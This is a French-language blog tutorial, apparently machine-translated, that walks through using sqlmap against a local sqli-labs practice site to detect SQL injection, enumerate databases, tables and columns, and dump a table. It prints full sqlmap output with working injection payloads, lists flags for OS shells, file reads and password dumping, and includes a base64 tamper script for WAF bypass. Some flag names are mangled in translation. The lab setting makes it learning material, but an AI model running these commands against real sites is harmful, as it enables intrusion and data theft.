Utilisation de SQLmap pour l'attaque et la défense de la sécurité Web

"Web Security Attack and Defense" utilise sqli-labs pour se familiariser avec l'artefact de SQLmap, et je suis également à peu près familier avec l'utilisation de cet outil.

Les étapes de base de l'injection SQL:

  • Déterminez le type d'injection
  • Obtenir le nom de la base de données
  • Obtenir le nom de la table de données
  • Obtenir le nom du champ
  • récupérer des données

1 Déterminez le type d'injection

1.1 Obtenir le type

Utilisez le paramètre -u pour spécifier l'url (sqlmap niveau 1)

sqlmap -u "http://localhost:4000/Less-1?id=1"

Il est à noter que l'URL doit de préférence être accompagnée des paramètres demandés.

sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind(布尔盲注)
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 9623=9623 AND 'JjhO'='JjhO


    Type: error-based(报错注入)
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x71767a7871,(SELECT (ELT(3702=3702,1))),0x716a6b6271),3702) AND 'oyIr'='oyIr


    Type: time-based blind(延时注入)
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8003 FROM (SELECT(SLEEP(5)))etaK) AND 'ACHt'='ACHt


    Type: UNION query(联合注入)
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-9510' UNION ALL SELECT NULL,CONCAT(0x71767a7871,0x65497456414974586b4c4a676479645971685666684c6163637353757955774841706b47726a6755,0x716a6b6271),NULL-- -
---

Comme mentionné ci-dessus, le paramètre id peut utiliser 4 techniques d'injection (booléenne, erreur, délai, union), et la charge utile utilisée est également donnée. SQLmap utilise 5 techniques d'injection SQL:

  • Injection articulaire
  • Injection d'erreur
  • Stores booléens
  • Retarder l'injection
  • Injection de pile

Si vous n'êtes pas familier avec ces types d'injection, vous pouvez vous rendre sur sqli-labs pour le faire. Vous pouvez vous référer à mon précédent article: https://blog.csdn.net/qq_43085611/article/details/112661431.

1.2 Type POST ou GET

Utilisez Burp Suite pour capturer des paquets (la page Web qui doit être capturée est une URL construite localement, qui est généralement accessible via localhost ou 127.0.0.1, mais si vous transmettez ces deux adresses, Burp Suite ne peut pas capturer le paquet. Vous pouvez envisager modification de l'hôte Pour utiliser d'autres noms de domaine pour accéder), et enfin enregistrer le package capturé localement en tant que fichier 1.txt.

Utilisez ensuite le paramètre -r pour spécifier le package HTTP (-r REQUESTFILE Charger la requête HTTP à partir d'un fichier)

sqlmap -r 1.txt

Cette méthode peut détecter des vulnérabilités d'injection de type GET ou de type POST.

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 2269=2269 AND 'fYWA'='fYWA


    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(8383=8383,1))),0x7176786a71),8383) AND 'THdq'='THdq


    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1253 FROM (SELECT(SLEEP(5)))PKdp) AND 'yWGz'='yWGz


    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-8764' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671,0x766e654f656c6f7779676842616d704f53567a74486b645956614a4b527578794d6f44544775644b,0x7176786a71)-- -

Si vous regardez attentivement les informations d'invite fournies par SQLmap, vous pouvez voir qu'il a enregistré les résultats en cours d'exécution

[16:00:42] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:00:42] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'(运行结果保存地址)


[*] ending @ 16:00:42 /2021-01-26/

2 Obtenez le nom de la base de données

Utilisez la commande

sqlmap -r 1.txt --dbs

Informations sur la base de données

web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:05:51] [INFO] fetching database names
[16:05:51] [WARNING] reflective value(s) found and filtering out
[16:05:51] [INFO] retrieved: 'mysql'
[16:05:51] [INFO] retrieved: 'information_schema'
[16:05:51] [INFO] retrieved: 'performance_schema'
[16:05:51] [INFO] retrieved: 'sys'
[16:05:51] [INFO] retrieved: 'study'
[16:05:51] [INFO] retrieved: 'hello_ssm'
[16:05:51] [INFO] retrieved: 'dvwa'
[16:05:51] [INFO] retrieved: 'security'
[16:05:51] [INFO] retrieved: 'challenges'
available databases [9]:
[*] challenges
[*] dvwa
[*] hello_ssm
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] study
[*] sys

3 Obtenez le nom de la table de données

Utilisez la commande

sqlmap -r 1.txt --tables

Cette commande répertorie tous les noms de table du système et n'est pas utilisée fréquemment.

Commandes couramment utilisées pour obtenir le nom de la table de données

sqlmap -r 1.txt -D="security" --tables

Utilisez -D pour spécifier le nom de la base de données afin d'obtenir le nom de la table de données d'une base de données spécifique. Les résultats de l'exécution sont les suivants:

[16:09:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:09:23] [INFO] fetching tables for database: 'security'
[16:09:23] [WARNING] reflective value(s) found and filtering out
[16:09:23] [INFO] retrieved: 'emails'
[16:09:23] [INFO] retrieved: 'referers'
[16:09:23] [INFO] retrieved: 'uagents'
[16:09:23] [INFO] retrieved: 'users'
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

[16:09:23] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'

[*] ending @ 16:09:23 /2021-01-26/

4 Obtenez le nom du champ

Semblable à la méthode d'obtention du nom de table ci-dessus, nous ferions mieux de spécifier un nom de table de données

sqlmap -r 1.txt -D="security" -T emails --columns

En plus d'utiliser le -D="security"mode de réalisation des paramètres spécifiés , il peut également être utilisé -T emaildans le mode de réalisation.

Les résultats de l'exécution sont les suivants:

[16:13:59] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:13:59] [INFO] fetching columns for table 'emails' in database 'security'
[16:14:00] [WARNING] reflective value(s) found and filtering out
[16:14:00] [INFO] retrieved: 'id','int'
[16:14:00] [INFO] retrieved: 'email_id','varchar(30)'
Database: security
Table: emails
[2 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email_id | varchar(30) |
| id       | int         |
+----------+-------------+


[16:14:00] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'


[*] ending @ 16:14:00 /2021-01-26/

5 Obtenir des données

La commande utilisée est:

 sqlmap -r 1.txt -D "security" -T emails -C email_id,id --dump

Les résultats de l'exécution sont les suivants:

[16:17:19] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:17:19] [INFO] fetching entries of column(s) 'email_id, id' for table 'emails' in database 'security'
[16:17:19] [WARNING] reflective value(s) found and filtering out
[16:17:19] [INFO] retrieved: '[email protected]','1'
[16:17:19] [INFO] retrieved: '[email protected]','2'
[16:17:19] [INFO] retrieved: '[email protected]','3'
[16:17:19] [INFO] retrieved: '[email protected]','4'
[16:17:19] [INFO] retrieved: '[email protected]','5'
[16:17:19] [INFO] retrieved: '[email protected]','6'
[16:17:19] [INFO] retrieved: '[email protected]','7'
[16:17:19] [INFO] retrieved: '[email protected]','8'
Database: security
Table: emails
[8 entries]
+------------------------+----+
| email_id               | id |
+------------------------+----+
| [email protected]       | 1  |
| [email protected]       | 2  |
| [email protected]    | 3  |
| [email protected]   | 4  |
| [email protected]   | 5  |
| [email protected] | 6  |
| [email protected]   | 7  |
| [email protected]      | 8  |
+------------------------+----+


[16:17:19] [INFO] table 'security.emails' dumped to CSV file '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top/dump/security/emails.csv'(数据表)
[16:17:19] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'


[*] ending @ 16:17:19 /2021-01-26/

Les données acquises seront enregistrées dans un fichier csv.

6 Autres paramètres

Configuration

  • -Niveau n: où n est 1 à 5, représentant différents niveaux de détection (plus le niveau est élevé, plus le test sera complet, mais plus de requêtes seront envoyées. La valeur par défaut est 1)
  • -Referer: Réglez le référent pour tromper.
  • --Sql-shel: exécuter des instructions SQL personnalisées
  • –Os-cmd ou –os-shell: exécute les commandes système
  • --File-read: lit les fichiers système
  • –File-write ou –file-dest: écriture de fichier
  • - Nom du module Tamper: spécifiez un script pour contourner WAF / IDS / IPS

recueillir le message

  • -Utilisateurs: tous les utilisateurs
  • -Passwords: le mot de passe de l'utilisateur
  • -Curent-db: nom actuel de la base de données
  • -Curent-user: nom d'utilisateur actuel
  • –Is-dba: indique si l'utilisateur actuel est un administrateur
  • -Rôles: administrateurs de listes

7 Autoprotection

Le sabotage est généralement utilisé pour contourner WAF. Utilisez un simple code base64 pour l'analyser.

#!/usr/bin/env python


"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""


from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY


__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload


    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """


    return encodeBase64(payload, binary=False) if payload else payload

Le sabotage consiste principalement à effectuer une conversion avant l'envoi. Par exemple, certains sites Web effectueront un chiffrement Base64 avant l'envoi et le serveur effectuera un déchiffrement Base64 après avoir reçu les données. Si le sabotage n'est pas utilisé et que sqlmap est utilisé directement, le texte en clair sera envoyé, qui ne pourra certainement pas être injecté après le décryptage du serveur base64.

Habituellement, il est nécessaire d'analyser spécifiquement la façon dont le site Web envoie des données pour écrire un script de sabotage. Utilisation:--tamper 模块名(文件名) .

Je suppose que tu aimes

Origine blog.csdn.net/qq_43085611/article/details/113188273
conseillé
Classement